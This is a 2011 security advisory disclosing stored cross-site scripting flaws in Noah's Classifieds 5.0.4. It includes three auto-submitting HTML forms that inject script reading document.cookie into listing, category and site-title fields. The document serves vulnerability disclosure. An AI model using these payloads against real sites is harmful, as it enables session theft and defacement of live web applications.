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Script Insertion Vulnerabilities in Noah's Classifieds

Advisory ID:HTB22952
Product:Noah's Classifieds
Vendor:Noah's Classifieds
Vulnerable Versions:5.0.4 and probably prior
Tested Version:5.0.4
Advisory Publication:April 12, 2011 [without technical details]
Vendor Notification:April 12, 2011
Public Disclosure:April 26, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in Noah's Classifieds which could be exploited to perform script insertion attacks.

1) Script insertion vulnerability in Noah's Classifieds
Input passed to the "col_18", "description" and "titlePrefix" parameter in index.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation examples:
1.
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="item">
<input type="hidden" name="method" value="create">
<input type="hidden" name="rollid" value="2">
<input type="hidden" name="id" value="0">
<input type="hidden" name="cid" value="2">
<input type="hidden" name="col_16" value="">
<input type="hidden" name="col_17" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="col_18" value='<p>description of my"&gt;</p>
<script type="text/javascript">// <![CDATA[
alert(document.cookie)
// ]]>
</script>'>
<input type="hidden" name="col_19" value="Pc">
<input type="hidden" name="col_20" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

2.
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appcategory">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="5">
<input type="hidden" name="id" value="5">
<input type="hidden" name="up" value="1">
<input type="hidden" name="wholeName" value="catitem">
<input type="hidden" name="name" value="catitem">
<input type="hidden" name="description" value='cat2"><script>alert(document.cookie)</script>'>
<input type="hidden" name="picture" value="">
<input type="hidden" name="descriptionMeta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="customAdMeta" value="">
<input type="hidden" name="allowAd" value="1">
<input type="hidden" name="immediateAppear" value="1">
<input type="hidden" name="inactivateOnModify" value="1">
<input type="hidden" name="displayResponseLink" value="1">
<input type="hidden" name="displayFriendmailLink" value="1">
<input type="hidden" name="displayFlaggedLink" value="1">
<input type="hidden" name="customAdListTitle" value="">
<input type="hidden" name="customAdListTemplate" value="">
<input type="hidden" name="customAdDetailsTemplate" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

3.
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appsettings">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="1">
<input type="hidden" name="id" value="1">
<input type="hidden" name="defaultTheme" value="modern">
<input type="hidden" name="defaultLanguage" value="en">
<input type="hidden" name="langDir" value="ltr">
<input type="hidden" name="adminEmail" value="">
<input type="hidden" name="titlePrefix" value='[Noahs Classifieds]</title><script>alert(document.cookie)</script>'>
<input type="hidden" name="mainTitle" value="">
<input type="hidden" name="charLimit" value="0">
<input type="hidden" name="blockSize" value="20">
<input type="hidden" name="dateFormat" value="Y-m-d">
<input type="hidden" name="timeFormat" value="Y-m-d H:i">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>


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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22952 - https://www.immuniweb.com/advisory/HTB22952 - Script Insertion Vulnerabilities in Noah's Classifieds
[2] Noah's Classifieds - noahsclassifieds.org - Noah's Classifieds is a free classified advertisement application.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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